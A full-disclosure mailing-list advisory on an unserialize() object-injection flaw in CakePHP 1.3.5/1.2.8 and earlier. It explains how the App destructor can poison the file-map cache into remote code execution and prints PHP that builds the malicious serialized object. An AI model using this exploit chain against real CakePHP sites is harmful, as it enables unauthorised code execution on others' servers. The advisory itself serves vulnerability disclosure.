full-disclosure - CakePHP <= 1.3.5 / 1.2.8 unserialize() Vulnerability

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Date: Sun, 14 Nov 2010 21:57:19 +0100
From: Felix <felix@...loc.im>
To: full-disclosure@...ts.grok.org.uk
Subject: CakePHP <= 1.3.5 / 1.2.8 unserialize()
	Vulnerability

CakePHP <= 1.3.5 / 1.2.8 unserialize() Vulnerability
                             felix |at| malloc.im                
===============================================================================

Overview:

"CakePHP is a rapid development framework for PHP that provides an
extensible
architecture for developing, maintaining, and deploying applications.
Using
commonly known design patterns like MVC and ORM within the convention
over
configuration paradigm, CakePHP reduces development costs and helps
developers
write less code." - cakephp.org 

CakePHP is vulnerable to a file inclusion attack because of its use of
the
"unserialize()" function on unchecked user input. This makes it possible
to inject arbitary objects into the scope.

Details:

CakePHP uses the following function in the Security component
to protect against XSRF attacks with POST Requests:

function _validatePost(&$controller) {
    -- snip --  
	$check = $controller->data;
	$token = urldecode($check['_Token']['fields']);

	if (strpos($token, ':')) {
		list($token, $locked) = explode(':', $token, 2);
	}

	$locked = unserialize(str_rot13($locked));
    -- snip --

The $check array contains our POST data and $locked is
a simple (rot-13 obfuscated) serialized string, which is completely
under our control.

PHP5 introduces a destructor with the "__destruct" method. Each object
will execute its __destruct method at the end of its lifetime and we can
use this to turn an unchecked unserialize() call in an useful exploit.
(See Stefan Essers talk @ 
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
for more information)

CakePHP defines the App Class with the following destruct method:

function __destruct() {
    if ($this->__cache) {
        $core = App::core('cake');
        unset($this->__paths[rtrim($core[0], DS)]);
        Cache::write('dir_map', array_filter($this->__paths),
'_cake_core_');
        Cache::write('file_map', array_filter($this->__map),
'_cake_core_');
        Cache::write('object_map', $this->__objects, '_cake_core_');
    }
	}

As we can see, this method can be abused by an manipulated object to
write
arbitary values into the _cake_core Cache.

The most interesting key to corrupt is the file_map. It provides the
mapping between Classes and PHP Files and is used to load additional
Classes at runtime. 
The real code for the loading of classes is a bit complicated but it all
boils down to the following code in the __load method inside the App
class:

if (file_exists($file)) {
			if (!$this->return) {
				require($file);

				$this->__loaded[$file] = true;
			}
			return true;

This means we can execute arbitary files on the local filesystem.
CakePHP uses a file based caching system in its standard configuration,
and the cache data is written in serialized form to a known location.

We can use this information to create a create a manipulated App object
that executes our PHP Payload:

$x=new App();
$x->__cache=1;
$x->__map=array("Core" => array("Router" 
                    => "../tmp/cache/persistent/cake_core_file_map"),
                "Foo" => "<? phpinfo(); exit(); ?>");
$x->__paths=array();
$x->__objects=array();
echo serialize($x);

POC:

See http://malloc.im/burnedcake.py for a working POC exploit.

Patch:

This bug was patched in Version 1.3.6 and 1.2.9.

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